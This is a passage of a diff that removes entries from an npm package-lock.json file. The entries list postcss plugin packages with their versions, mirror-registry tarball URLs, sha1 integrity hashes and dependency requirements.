-      "resolved": "https://registry.nlark.com/postcss-convert-values/download/postcss-convert-values-4.0.1.tgz",
-      "integrity": "sha1-yjgT7U2g+BL51DcDWE5Enr4Ymn8=",
-      "requires": {
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-custom-media": {
-      "version": "7.0.8",
-      "resolved": "https://registry.npm.taobao.org/postcss-custom-media/download/postcss-custom-media-7.0.8.tgz",
-      "integrity": "sha1-//0T/+/61zYhvl84cHaiiwApTgw=",
-      "requires": {
-        "postcss": "^7.0.14"
-      }
-    },
-    "postcss-custom-properties": {
-      "version": "8.0.11",
-      "resolved": "https://registry.npm.taobao.org/postcss-custom-properties/download/postcss-custom-properties-8.0.11.tgz",
-      "integrity": "sha1-LWF3LW6S8i9eDVJgLfj65G+jDZc=",
-      "requires": {
-        "postcss": "^7.0.17",
-        "postcss-values-parser": "^2.0.1"
-      }
-    },
-    "postcss-custom-selectors": {
-      "version": "5.1.2",
-      "resolved": "https://registry.npm.taobao.org/postcss-custom-selectors/download/postcss-custom-selectors-5.1.2.tgz",
-      "integrity": "sha1-ZIWMbrLs/y+0HQsoyd17PbTef7o=",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-selector-parser": "^5.0.0-rc.3"
-      },
-      "dependencies": {
-        "cssesc": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/cssesc/download/cssesc-2.0.0.tgz",
-          "integrity": "sha1-OxO9G7HLNuG8taTc0n9UxdyzVwM="
-        },
-        "postcss-selector-parser": {
-          "version": "5.0.0",
-          "resolved": "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-5.0.0.tgz",
-          "integrity": "sha1-JJBENWaXsztk8aj3yAki3d7nGVw=",
-          "requires": {
-            "cssesc": "^2.0.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "postcss-dir-pseudo-class": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-dir-pseudo-class/download/postcss-dir-pseudo-class-5.0.0.tgz",
-      "integrity": "sha1-bjpBd9Dts6vMhf22+7HCbauuq6I=",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-selector-parser": "^5.0.0-rc.3"
-      },
-      "dependencies": {
-        "cssesc": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/cssesc/download/cssesc-2.0.0.tgz",
-          "integrity": "sha1-OxO9G7HLNuG8taTc0n9UxdyzVwM="
-        },
-        "postcss-selector-parser": {
-          "version": "5.0.0",
-          "resolved": "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-5.0.0.tgz",
-          "integrity": "sha1-JJBENWaXsztk8aj3yAki3d7nGVw=",
-          "requires": {
-            "cssesc": "^2.0.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "postcss-discard-comments": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-discard-comments/download/postcss-discard-comments-4.0.2.tgz",
-      "integrity": "sha1-H7q9LCRr/2qq15l7KwkY9NevQDM=",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-discard-duplicates": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-discard-duplicates/download/postcss-discard-duplicates-4.0.2.tgz",
-      "integrity": "sha1-P+EzzTyCKC5VD8myORdqkge3hOs=",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-discard-empty": {
-      "version": "4.0.1",
-      "resolved": "https://registry.nlark.com/postcss-discard-empty/download/postcss-discard-empty-4.0.1.tgz",
-      "integrity": "sha1-yMlR6fc+2UKAGUWERKAq2Qu592U=",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-discard-overridden": {
-      "version": "4.0.1",
-      "resolved": "https://registry.nlark.com/postcss-discard-overridden/download/postcss-discard-overridden-4.0.1.tgz",
-      "integrity": "sha1-ZSrvipZybwKfXj4AFG7npOdV/1c=",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-double-position-gradients": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-double-position-gradients/download/postcss-double-position-gradients-1.0.0.tgz",
-      "integrity": "sha1-/JJ9Uv3ciWyzooEuvF3xR+EQUi4=",
-      "requires": {
-        "postcss": "^7.0.5",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-env-function": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npm.taobao.org/postcss-env-function/download/postcss-env-function-2.0.2.tgz",
-      "integrity": "sha1-Dz49PFfwlKksK69LYkHwsNpTZdc=",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-flexbugs-fixes": {
-      "version": "4.2.1",
-      "resolved": "https://registry.npm.taobao.org/postcss-flexbugs-fixes/download/postcss-flexbugs-fixes-4.2.1.tgz",
-      "integrity": "sha1-khimUknzCJfeqxAzrO2FeFYqZpA=",
-      "requires": {
-        "postcss": "^7.0.26"
-      }
-    },
-    "postcss-focus-visible": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-focus-visible/download/postcss-focus-visible-4.0.0.tgz",
-      "integrity": "sha1-R30QcROt5gJLFBKDF63ivR4XBG4=",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-focus-within": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-focus-within/download/postcss-focus-within-3.0.0.tgz",
-      "integrity": "sha1-djuHiFls7puHTJmSAc3egGWe9oA=",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-font-variant": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npm.taobao.org/postcss-font-variant/download/postcss-font-variant-4.0.1.tgz",
-      "integrity": "sha1-QtTAqzCJT2D5ixdWHrXAMh9QJkE=",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-gap-properties": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-gap-properties/download/postcss-gap-properties-2.0.0.tgz",
-      "integrity": "sha1-QxwZKrPtlqPD0J8v9hWWD5AsFxU=",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-image-set-function": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npm.taobao.org/postcss-image-set-function/download/postcss-image-set-function-3.0.1.tgz",
-      "integrity": "sha1-KJIKLymUW+1MMZjX32SW1BDT8og=",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-initial": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npm.taobao.org/postcss-initial/download/postcss-initial-3.0.4.tgz?cache=0&sync_timestamp=1618435188850&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-initial%2Fdownload%2Fpostcss-initial-3.0.4.tgz",
-      "integrity": "sha1-nTIGmhBTH+Lsr6C2rHUO4Lx+/FM=",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-lab-function": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npm.taobao.org/postcss-lab-function/download/postcss-lab-function-2.0.1.tgz",
-      "integrity": "sha1-u1GmhWzRIomrSuINseOCHvE9fS4=",
-      "requires": {
-        "@csstools/convert-colors": "^1.4.0",
-        "postcss": "^7.0.2",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-load-config": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npm.taobao.org/postcss-load-config/download/postcss-load-config-2.1.2.tgz",
-      "integrity": "sha1-xepQTyxK7zPHNZo03jVzdyrXUCo=",
-      "requires": {
-        "cosmiconfig": "^5.0.0",
-        "import-cwd": "^2.0.0"
-      },
-      "dependencies": {
-        "cosmiconfig": {
-          "version": "5.2.1",
-          "resolved": "https://registry.npm.taobao.org/cosmiconfig/download/cosmiconfig-5.2.1.tgz",
-          "integrity": "sha1-BA9yaAnFked6F8CjYmykW08Wixo=",
-          "requires": {
-            "import-fresh": "^2.0.0",
-            "is-directory": "^0.3.1",
-            "js-yaml": "^3.13.1",
-            "parse-json": "^4.0.0"
-          }
-        },
-        "import-fresh": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/import-fresh/download/import-fresh-2.0.0.tgz?cache=0&sync_timestamp=1608469532269&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fimport-fresh%2Fdownload%2Fimport-fresh-2.0.0.tgz",
-          "integrity": "sha1-2BNVwVYS04bGH53dOSLUMEgipUY=",
-          "requires": {
-            "caller-path": "^2.0.0",
-            "resolve-from": "^3.0.0"
-          }
-        },
-        "parse-json": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/parse-json/download/parse-json-4.0.0.tgz",
-          "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=",
-          "requires": {
-            "error-ex": "^1.3.1",
-            "json-parse-better-errors": "^1.0.1"
-          }
-        },
-        "resolve-from": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/resolve-from/download/resolve-from-3.0.0.tgz",
-          "integrity": "sha1-six699nWiBvItuZTM17rywoYh0g="
-        }
-      }
-    },
-    "postcss-loader": {
-      "version": "3.0.0",
-      "resolved": "https://registry.nlark.com/postcss-loader/download/postcss-loader-3.0.0.tgz",
-      "integrity": "sha1-a5eUPkfHLYRfqeA/Jzdz1OjdbC0=",
-      "requires": {
-        "loader-utils": "^1.1.0",
-        "postcss": "^7.0.0",
-        "postcss-load-config": "^2.0.0",
-        "schema-utils": "^1.0.0"
-      },
-      "dependencies": {
-        "json5": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npm.taobao.org/json5/download/json5-1.0.1.tgz",
-          "integrity": "sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=",
-          "requires": {
-            "minimist": "^1.2.0"
-          }
-        },
-        "loader-utils": {
-          "version": "1.4.0",
-          "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-1.4.0.tgz",
-          "integrity": "sha1-xXm140yzSxp07cbB+za/o3HVphM=",
-          "requires": {
-            "big.js": "^5.2.2",
-            "emojis-list": "^3.0.0",
-            "json5": "^1.0.1"
-          }
-        },
-        "schema-utils": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-1.0.0.tgz",
-          "integrity": "sha1-C3mpMgTXtgDUsoUNH2bCo0lRx3A=",
-          "requires": {
-            "ajv": "^6.1.0",
-            "ajv-errors": "^1.0.0",
-            "ajv-keywords": "^3.1.0"
-          }
-        }
-      }
-    },
-    "postcss-logical": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-logical/download/postcss-logical-3.0.0.tgz",
-      "integrity": "sha1-JJXQ+LgunyYnJfdflAGzTntF1bU=",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-media-minmax": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-media-minmax/download/postcss-media-minmax-4.0.0.tgz",
-      "integrity": "sha1-t1u2y8IXyKxJQz4S8iBIgUpPXtU=",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-merge-longhand": {
-      "version": "4.0.11",
-      "resolved": "https://registry.nlark.com/postcss-merge-longhand/download/postcss-merge-longhand-4.0.11.tgz",
-      "integrity": "sha1-YvSaE+Sg7gTnuY9CuxYGLKJUniQ=",
-      "requires": {
-        "css-color-names": "0.0.4",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0",
-        "stylehacks": "^4.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-merge-rules": {
-      "version": "4.0.3",
-      "resolved": "https://registry.nlark.com/postcss-merge-rules/download/postcss-merge-rules-4.0.3.tgz",
-      "integrity": "sha1-NivqT/Wh+Y5AdacTxsslrv75plA=",
-      "requires": {
-        "browserslist": "^4.0.0",
-        "caniuse-api": "^3.0.0",
-        "cssnano-util-same-parent": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-selector-parser": "^3.0.0",
-        "vendors": "^1.0.0"
-      },
-      "dependencies": {
-        "postcss-selector-parser": {
-          "version": "3.1.2",
-          "resolved": "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-3.1.2.tgz",
-          "integrity": "sha1-sxD1xMD9r3b5SQK7qjDbaqhPUnA=",
-          "requires": {
-            "dot-prop": "^5.2.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "postcss-minify-font-values": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-minify-font-values/download/postcss-minify-font-values-4.0.2.tgz",
-      "integrity": "sha1-zUw0TM5HQ0P6xdgiBqssvLiv1aY=",
-      "requires": {
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-minify-gradients": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-minify-gradients/download/postcss-minify-gradients-4.0.2.tgz",
-      "integrity": "sha1-k7KcL/UJnFNe7NpWxKpuZlpmNHE=",
-      "requires": {
-        "cssnano-util-get-arguments": "^4.0.0",
-        "is-color-stop": "^1.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-minify-params": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-minify-params/download/postcss-minify-params-4.0.2.tgz",
-      "integrity": "sha1-a5zvAwwR41Jh+V9hjJADbWgNuHQ=",
-      "requires": {
-        "alphanum-sort": "^1.0.0",
-        "browserslist": "^4.0.0",
-        "cssnano-util-get-arguments": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0",
-        "uniqs": "^2.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-minify-selectors": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-minify-selectors/download/postcss-minify-selectors-4.0.2.tgz",
-      "integrity": "sha1-4uXrQL/uUA0M2SQ1APX46kJi+9g=",
-      "requires": {
-        "alphanum-sort": "^1.0.0",
-        "has": "^1.0.0",
-        "postcss": "^7.0.0",
-        "postcss-selector-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-selector-parser": {
-          "version": "3.1.2",
-          "resolved": "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-3.1.2.tgz",
-          "integrity": "sha1-sxD1xMD9r3b5SQK7qjDbaqhPUnA=",
-          "requires": {
-            "dot-prop": "^5.2.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "postcss-modules-extract-imports": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-modules-extract-imports/download/postcss-modules-extract-imports-2.0.0.tgz",
-      "integrity": "sha1-gYcZoa4doyX5gyRGsBE27rSTzX4=",
-      "requires": {
-        "postcss": "^7.0.5"
-      }
-    },
-    "postcss-modules-local-by-default": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npm.taobao.org/postcss-modules-local-by-default/download/postcss-modules-local-by-default-3.0.3.tgz?cache=0&sync_timestamp=1602587625149&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-modules-local-by-default%2Fdownload%2Fpostcss-modules-local-by-default-3.0.3.tgz",
-      "integrity": "sha1-uxTgzHgnnVBNvcv9fgyiiZP/u7A=",
-      "requires": {
-        "icss-utils": "^4.1.1",
-        "postcss": "^7.0.32",
-        "postcss-selector-parser": "^6.0.2",
-        "postcss-value-parser": "^4.1.0"
-      }
-    },
-    "postcss-modules-scope": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-modules-scope/download/postcss-modules-scope-2.2.0.tgz",
-      "integrity": "sha1-OFyuATzHdD9afXYC0Qc6iequYu4=",
-      "requires": {
-        "postcss": "^7.0.6",
-        "postcss-selector-parser": "^6.0.0"
-      }
-    },
-    "postcss-modules-values": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-modules-values/download/postcss-modules-values-3.0.0.tgz?cache=0&sync_timestamp=1602586215124&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-modules-values%2Fdownload%2Fpostcss-modules-values-3.0.0.tgz",
-      "integrity": "sha1-W1AA1uuuKbQlUwG0o6VFdEI+fxA=",
-      "requires": {
-        "icss-utils": "^4.0.0",
-        "postcss": "^7.0.6"
-      }
-    },
-    "postcss-nesting": {
-      "version": "7.0.1",
-      "resolved": "https://registry.nlark.com/postcss-nesting/download/postcss-nesting-7.0.1.tgz?cache=0&sync_timestamp=1619923629010&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-nesting%2Fdownload%2Fpostcss-nesting-7.0.1.tgz",
-      "integrity": "sha1-tQrXt/AXPlteOIDDUBNEcD4EwFI=",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-normalize": {
-      "version": "8.0.1",
-      "resolved": "https://registry.nlark.com/postcss-normalize/download/postcss-normalize-8.0.1.tgz?cache=0&sync_timestamp=1619704843433&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-normalize%2Fdownload%2Fpostcss-normalize-8.0.1.tgz",
-      "integrity": "sha1-kOgKd2PX/fLaby8Pgr6DLOT2Z3Y=",
-      "requires": {
-        "@csstools/normalize.css": "^10.1.0",
-        "browserslist": "^4.6.2",
-        "postcss": "^7.0.17",
-        "postcss-browser-comments": "^3.0.0",
-        "sanitize.css": "^10.0.0"
-      }
-    },
-    "postcss-normalize-charset": {
-      "version": "4.0.1",
-      "resolved": "https://registry.nlark.com/postcss-normalize-charset/download/postcss-normalize-charset-4.0.1.tgz",
-      "integrity": "sha1-izWt067oOhNrBHHg1ZvlilAoXdQ=",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-normalize-display-values": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-normalize-display-values/download/postcss-normalize-display-values-4.0.2.tgz",
-      "integrity": "sha1-Db4EpM6QY9RmftK+R2u4MMglk1o=",
-      "requires": {
-        "cssnano-util-get-match": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-normalize-positions": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-normalize-positions/download/postcss-normalize-positions-4.0.2.tgz",
-      "integrity": "sha1-BfdX+E8mBDc3g2ipH4ky1LECkX8=",
-      "requires": {
-        "cssnano-util-get-arguments": "^4.0.0",
-        "has": "^1.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-normalize-repeat-style": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-normalize-repeat-style/download/postcss-normalize-repeat-style-4.0.2.tgz",
-      "integrity": "sha1-xOu8KJ85kaAo1EdRy90RkYsXkQw=",
-      "requires": {
-        "cssnano-util-get-arguments": "^4.0.0",
-        "cssnano-util-get-match": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-normalize-string": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-normalize-string/download/postcss-normalize-string-4.0.2.tgz",
-      "integrity": "sha1-zUTECrB6DHo23F6Zqs4eyk7CaQw=",
-      "requires": {
-        "has": "^1.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-normalize-timing-functions": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-normalize-timing-functions/download/postcss-normalize-timing-functions-4.0.2.tgz",
-      "integrity": "sha1-jgCcoqOUnNr4rSPmtquZy159KNk=",
-      "requires": {
-        "cssnano-util-get-match": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-normalize-unicode": {
-      "version": "4.0.1",
-      "resolved": "https://registry.nlark.com/postcss-normalize-unicode/download/postcss-normalize-unicode-4.0.1.tgz",
-      "integrity": "sha1-hBvUj9zzAZrUuqdJOj02O1KuHPs=",
-      "requires": {
-        "browserslist": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-normalize-url": {
-      "version": "4.0.1",
-      "resolved": "https://registry.nlark.com/postcss-normalize-url/download/postcss-normalize-url-4.0.1.tgz",
-      "integrity": "sha1-EOQ3+GvHx+WPe5ZS7YeNqqlfquE=",
-      "requires": {
-        "is-absolute-url": "^2.0.0",
-        "normalize-url": "^3.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "normalize-url": {
-          "version": "3.3.0",
-          "resolved": "https://registry.nlark.com/normalize-url/download/normalize-url-3.3.0.tgz",
-          "integrity": "sha1-suHE3E98bVd0PfczpPWXjRhlBVk="
-        },
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-normalize-whitespace": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/postcss-normalize-whitespace/download/postcss-normalize-whitespace-4.0.2.tgz",
-      "integrity": "sha1-vx1AcP5Pzqh9E0joJdjMDF+qfYI=",
-      "requires": {
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-ordered-values": {
-      "version": "4.1.2",
-      "resolved": "https://registry.nlark.com/postcss-ordered-values/download/postcss-ordered-values-4.1.2.tgz",
-      "integrity": "sha1-DPdcgg7H1cTSgBiVWeC1ceusDu4=",
-      "requires": {
-        "cssnano-util-get-arguments": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha1-n/giVH4okyE88cMO+lGsX9G6goE="
-        }
-      }
-    },
-    "postcss-overflow-shorthand": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-overflow-shorthand/download/postcss-overflow-shorthand-2.0.0.tgz",
-      "integrity": "sha1-MezzUOnG9t3CUKePDD4RHzLdTDA=",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-page-break": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-page-break/download/postcss-page-break-2.0.0.tgz",
-      "integrity": "sha1-rdUtDgpSjKvmr+6LRuKrsnffRr8=",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-place": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npm.taobao.org/postcss-place/download/postcss-place-4.0.1.tgz",
-      "integrity": "sha1-6fOdM9LcWE5G7h20Wtt3yp0dzGI=",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-preset-env": {
-      "version": "6.7.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-preset-env/download/postcss-preset-env-6.7.0.tgz",
-      "integrity": "sha1-w03az4+QI4OzWtHgMPF49M3xGKU=",
-      "requires": {
-        "autoprefixer": "^9.6.1",
-        "browserslist": "^4.6.4",
-        "caniuse-lite": "^1.0.30000981",
-        "css-blank-pseudo": "^0.1.4",
-        "css-has-pseudo": "^0.10.0",
-        "css-prefers-color-scheme": "^3.1.1",
-        "cssdb": "^4.4.0",
-        "postcss": "^7.0.17",
-        "postcss-attribute-case-insensitive": "^4.0.1",
-        "postcss-color-functional-notation": "^2.0.1",
-        "postcss-color-gray": "^5.0.0",
-        "postcss-color-hex-alpha": "^5.0.3",
-        "postcss-color-mod-function": "^3.0.3",
-        "postcss-color-rebeccapurple": "^4.0.1",
-        "postcss-custom-media": "^7.0.8",
-        "postcss-custom-properties": "^8.0.11",
-        "postcss-custom-selectors": "^5.1.2",
-        "postcss-dir-pseudo-class": "^5.0.0",
-        "postcss-double-position-gradients": "^1.0.0",
-        "postcss-env-function": "^2.0.2",
-        "postcss-focus-visible": "^4.0.0",
-        "postcss-focus-within": "^3.0.0",
-        "postcss-font-variant": "^4.0.0",
-        "postcss-gap-properties": "^2.0.0",
-        "postcss-image-set-function": "^3.0.1",
-        "postcss-initial": "^3.0.0",
-        "postcss-lab-function": "^2.0.1",
-        "postcss-logical": "^3.0.0",
-        "postcss-media-minmax": "^4.0.0",
-        "postcss-nesting": "^7.0.0",
-        "postcss-overflow-shorthand": "^2.0.0",
-        "postcss-page-break": "^2.0.0",
-        "postcss-place": "^4.0.1",
-        "postcss-pseudo-class-any-link": "^6.0.0",
-        "postcss-replace-overflow-wrap": "^3.0.0",
-        "postcss-selector-matches": "^4.0.0",
-        "postcss-selector-not": "^4.0.0"
-      }
-    },
-    "postcss-pseudo-class-any-link": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npm.taobao.org/postcss-pseudo-class-any-link/download/postcss-pseudo-class-any-link-6.0.0.tgz",
-      "integrity": "sha1-LtPu05OzcCh53sSocDKyENrrBNE=",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-selector-parser": "^5.0.0-rc.3"
-      },
-      "dependencies": {
-        "cssesc": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/cssesc/download/cssesc-2.0.0.tgz",
-          "integrity": "sha1-OxO9G7HLNuG8taTc0n9UxdyzVwM="
-        },
-        "postcss-selector-parser": {
-          "version": "5.0.0",
-          "resolved": "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-5.0.0.tgz",
-          "integrity": "sha1-JJBENWaXsztk8aj3yAki3d7nGVw=",
-          "requires": {
-            "cssesc": "^2.0.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "postcss-reduce-initial": {
-      "version": "4.0.3",
-      "resolved": "https://registry.nlark.com/postcss-reduce-initial/download/postcss-reduce-initial-4.0.3.tgz",
